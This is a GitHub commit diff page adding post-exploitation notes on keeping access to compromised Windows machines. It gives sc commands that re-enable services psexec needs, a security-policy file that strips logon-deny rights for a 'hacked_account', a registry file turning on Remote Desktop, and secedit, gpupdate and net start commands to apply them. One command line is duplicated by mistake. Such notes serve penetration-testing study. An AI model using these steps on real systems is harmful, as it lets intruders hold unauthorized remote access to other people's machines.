Skip to content

Commit 44dd8b0

Browse files
committed
Finished adding some content to the remote desktop and psexec sections
1 parent 7ec6e3a commit 44dd8b0

File tree

1 file changed

+27
-18
lines changed

1 file changed

+27
-18
lines changed

persistence/windows/general.md

Lines changed: 27 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -15,23 +15,23 @@ Commands to run to maintain persistence after you have exploited it and are usua
1515

1616

1717
### Enable `psexec`
18-
* The [`psexec` tool](http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx) executes processes on other systems over a network. Most systems now disable the "clipbook" which `psexec` required. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 50)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can re-enable the sub-systems needed to use `psexec` using the `sc` commands below.
19-
20-
`` c:\> net use \\target\ipc$ username /user:password
21-
c:\> sc \\target config netdde start= auto
22-
c:\> sc \\target config netddedsdm start= auto
23-
c:\> sc \\target config clipsrv start= auto
24-
c:\> sc \\target start netdde
25-
c:\> sc \\target start netddedsdm
26-
c:\> sc \\target start clipsrv
27-
``
18+
The [`psexec` tool](http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx) executes processes on other systems over a network. Most systems now disable the "clipbook" which `psexec` required. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 50)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can re-enable the sub-systems needed to use `psexec` using the `sc` commands below.
19+
20+
``c:\> net use \\target\ipc$ username /user:password
21+
c:\> sc \\target config netdde start= auto
22+
c:\> sc \\target config netddedsdm start= auto
23+
c:\> sc \\target config clipsrv start= auto
24+
c:\> sc \\target start netdde
25+
c:\> sc \\target start netddedsdm
26+
c:\> sc \\target start clipsrv
27+
``
2828

2929
### Enable Remote Desktop
30-
* Remote Desktop allows a remote user to receive a graphical "desktop" of the target (compromised) system. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 53)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely enable remote desktop using the commands below.
30+
Remote Desktop allows a remote user to receive a graphical "desktop" of the target (compromised) system. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 53)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely enable remote desktop using the commands below.
3131

32-
1. Create a file named `fix_ts_policy.ini` containing the contents below. Change the *"hacked_account"* value to the account you have compromised on the remote system.
32+
1. On the compromised system, create a file named `fix_ts_policy.ini` containing the contents below. Change the *"hacked_account"* value to the account you have compromised on the remote system.
3333

34-
<pre>
34+
<pre>
3535
[Unicode]
3636
Unicode=yes
3737
[Version]
@@ -43,16 +43,25 @@ Commands to run to maintain persistence after you have exploited it and are usua
4343
sedenyinteractivelogonright =
4444
sedenyremoteinteractivelogonright =
4545
sedenynetworklogonright =
46-
</pre>
46+
</pre>
4747

48-
1. Create another file named `enable_ts.reg` containing the contents below.
48+
1. Create another file named `enable_ts.reg` containing the contents below.
4949

50-
<pre>
50+
<pre>
5151
Windows Registry Editor Version 5.00
5252
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
5353
"fDenyTSConnections"=dword:00000000
5454
"TSEnabled"=dword:00000001
5555
"TSUserEnabled"=dword:00000000
56-
</pre>
56+
</pre>
5757

58-
1.
58+
1. On the remote system, execute the following commands:
59+
60+
``c:\> sc config termservice start= auto sc config termservice start= auto
61+
c:\> regedit /s enable_ts.reg
62+
c:\> copy c:\windows\security\database\secedit.sdb c:\windows\security\database\new.secedit.sdb
63+
c:\> copy c:\windows\security\database\secedit.sdb c:\windows\security\database\orig.secedit.sdb
64+
c:\> secedit /configure /db new.secedit.sdb /cfg fix_ts_policy.ini
65+
c:\> gpupdate /Force
66+
c:\> net start "terminal services"
67+
``

0 commit comments

Comments
 (0)